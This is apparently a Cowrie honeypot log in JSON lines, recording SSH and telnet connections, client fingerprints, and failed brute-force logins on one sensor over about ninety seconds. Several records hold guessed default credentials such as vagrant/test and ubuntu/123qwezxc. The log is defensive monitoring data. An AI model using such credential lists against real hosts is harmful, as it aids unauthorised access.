{"eventid":"cowrie.session.closed","duration":31.045932292938232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:14.630505Z","src_ip":"66.111.11.103","session":"c37005e8e7d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.69426703453064,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:18.706112Z","src_ip":"38.54.119.93","session":"b2f4d537968d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.26173281669617,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:19.364119Z","src_ip":"134.209.8.29","session":"6172bd613b1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.30443072319031,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:21.332990Z","src_ip":"38.54.119.93","session":"21c7ca7e5b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.7087607383728,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:27.321045Z","src_ip":"134.209.8.29","session":"f823a274effe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.203.136.79","src_port":40554,"dst_ip":"159.203.135.109","dst_port":23,"session":"27cd0c8281a9","protocol":"telnet","message":"New connection: 115.203.136.79:40554 (159.203.135.109:23) [session: 27cd0c8281a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:27.657610Z"}
{"eventid":"cowrie.session.closed","duration":43.414238929748535,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:28.889903Z","src_ip":"134.209.8.29","session":"7f5375540979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54880,"dst_ip":"159.203.135.109","dst_port":23,"session":"96354c943ec3","protocol":"telnet","message":"New connection: 134.209.8.29:54880 (159.203.135.109:23) [session: 96354c943ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:29.801022Z"}
{"eventid":"cowrie.session.closed","duration":37.76240372657776,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:30.312742Z","src_ip":"134.209.8.29","session":"b488f379b19c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.669304132461548,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:40.326808Z","src_ip":"115.203.136.79","session":"27cd0c8281a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":33726,"dst_ip":"10.17.0.5","dst_port":22,"session":"44a06416c2f9","protocol":"ssh","message":"New connection: 148.216.28.11:33726 (10.17.0.5:22) [session: 44a06416c2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:40.923059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:40.929291Z","src_ip":"148.216.28.11","session":"44a06416c2f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:40.997058Z","src_ip":"148.216.28.11","session":"44a06416c2f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2024","message":"login attempt [test/test2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:41.297358Z","src_ip":"148.216.28.11","session":"44a06416c2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:42.373853Z","src_ip":"148.216.28.11","session":"44a06416c2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37034,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bf79c43c17c","protocol":"telnet","message":"New connection: 174.138.46.234:37034 (159.203.135.109:23) [session: 9bf79c43c17c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:44.339306Z"}
{"eventid":"cowrie.session.closed","duration":53.049889087677,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:46.951074Z","src_ip":"134.209.8.29","session":"b2b4c24f5830","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56144,"dst_ip":"10.17.0.5","dst_port":23,"session":"670fbcc774be","protocol":"telnet","message":"New connection: 38.54.119.93:56144 (10.17.0.5:23) [session: 670fbcc774be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:48.590305Z"}
{"eventid":"cowrie.session.closed","duration":4.996126413345337,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:49.335305Z","src_ip":"174.138.46.234","session":"9bf79c43c17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.15038871765137,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:51.025896Z","src_ip":"134.209.8.29","session":"a4237e8adc3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.048900604248047,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:53.639087Z","src_ip":"38.54.119.93","session":"670fbcc774be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":57380,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa28cb5bc6bc","protocol":"ssh","message":"New connection: 150.95.157.171:57380 (10.17.0.5:22) [session: aa28cb5bc6bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:53.935066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:53.942053Z","src_ip":"150.95.157.171","session":"aa28cb5bc6bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:54.103627Z","src_ip":"150.95.157.171","session":"aa28cb5bc6bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"test","message":"login attempt [vagrant/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:54.728569Z","src_ip":"150.95.157.171","session":"aa28cb5bc6bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":56650,"dst_ip":"10.17.0.5","dst_port":22,"session":"479bf0f3810a","protocol":"ssh","message":"New connection: 34.135.200.178:56650 (10.17.0.5:22) [session: 479bf0f3810a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:55.069337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:55.075625Z","src_ip":"34.135.200.178","session":"479bf0f3810a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:55.110645Z","src_ip":"34.135.200.178","session":"479bf0f3810a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwezxc","message":"login attempt [ubuntu/123qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:55.277485Z","src_ip":"34.135.200.178","session":"479bf0f3810a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:55.893317Z","src_ip":"150.95.157.171","session":"aa28cb5bc6bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:56.315151Z","src_ip":"34.135.200.178","session":"479bf0f3810a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51430,"dst_ip":"159.203.135.109","dst_port":23,"session":"042b60975e4b","protocol":"telnet","message":"New connection: 134.209.8.29:51430 (159.203.135.109:23) [session: 042b60975e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:57.935890Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51428,"dst_ip":"159.203.135.109","dst_port":23,"session":"424b9df7693b","protocol":"telnet","message":"New connection: 134.209.8.29:51428 (159.203.135.109:23) [session: 424b9df7693b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:18:59.429674Z"}
{"eventid":"cowrie.session.closed","duration":35.189292669296265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:04.990195Z","src_ip":"134.209.8.29","session":"96354c943ec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.75853681564331,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:06.642666Z","src_ip":"134.209.8.29","session":"2ffb9337f1ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":52512,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a6c2ba4109","protocol":"ssh","message":"New connection: 147.50.231.135:52512 (10.17.0.5:22) [session: 67a6c2ba4109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:10.405952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:10.411645Z","src_ip":"147.50.231.135","session":"67a6c2ba4109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:10.672591Z","src_ip":"147.50.231.135","session":"67a6c2ba4109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":51184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d52ad13f811","protocol":"telnet","message":"New connection: 134.209.8.29:51184 (159.203.135.109:23) [session: 2d52ad13f811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:11.060036Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"p4ssw0rd","message":"login attempt [user/p4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:11.750400Z","src_ip":"147.50.231.135","session":"67a6c2ba4109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.195110559463501,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:12.255007Z","src_ip":"134.209.8.29","session":"2d52ad13f811","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:13.015921Z","src_ip":"147.50.231.135","session":"67a6c2ba4109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59158,"dst_ip":"159.203.135.109","dst_port":23,"session":"846879f822e4","protocol":"telnet","message":"New connection: 134.209.8.29:59158 (159.203.135.109:23) [session: 846879f822e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:26.278765Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":26022,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ca4cfd10dc","protocol":"ssh","message":"New connection: 205.254.166.101:26022 (159.203.135.109:22) [session: f7ca4cfd10dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:26.414134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:26.420009Z","src_ip":"205.254.166.101","session":"f7ca4cfd10dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:26.630882Z","src_ip":"205.254.166.101","session":"f7ca4cfd10dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq1234567890","message":"login attempt [ubuntu/Qq1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:27.486128Z","src_ip":"205.254.166.101","session":"f7ca4cfd10dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:28.696691Z","src_ip":"205.254.166.101","session":"f7ca4cfd10dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":59172,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b514817edff","protocol":"telnet","message":"New connection: 134.209.8.29:59172 (159.203.135.109:23) [session: 1b514817edff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:37.347933Z"}
{"eventid":"cowrie.session.closed","duration":0.0728006362915039,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:37.420611Z","src_ip":"134.209.8.29","session":"1b514817edff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.788825273513794,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:42.218383Z","src_ip":"134.209.8.29","session":"424b9df7693b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":39878,"dst_ip":"10.17.0.5","dst_port":22,"session":"299f3a72d732","protocol":"ssh","message":"New connection: 34.135.200.178:39878 (10.17.0.5:22) [session: 299f3a72d732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:43.106286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:43.113470Z","src_ip":"34.135.200.178","session":"299f3a72d732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:19:43.151852Z","src_ip":"34.135.200.178","session":"299f3a72d732","protocol":"ssh"}
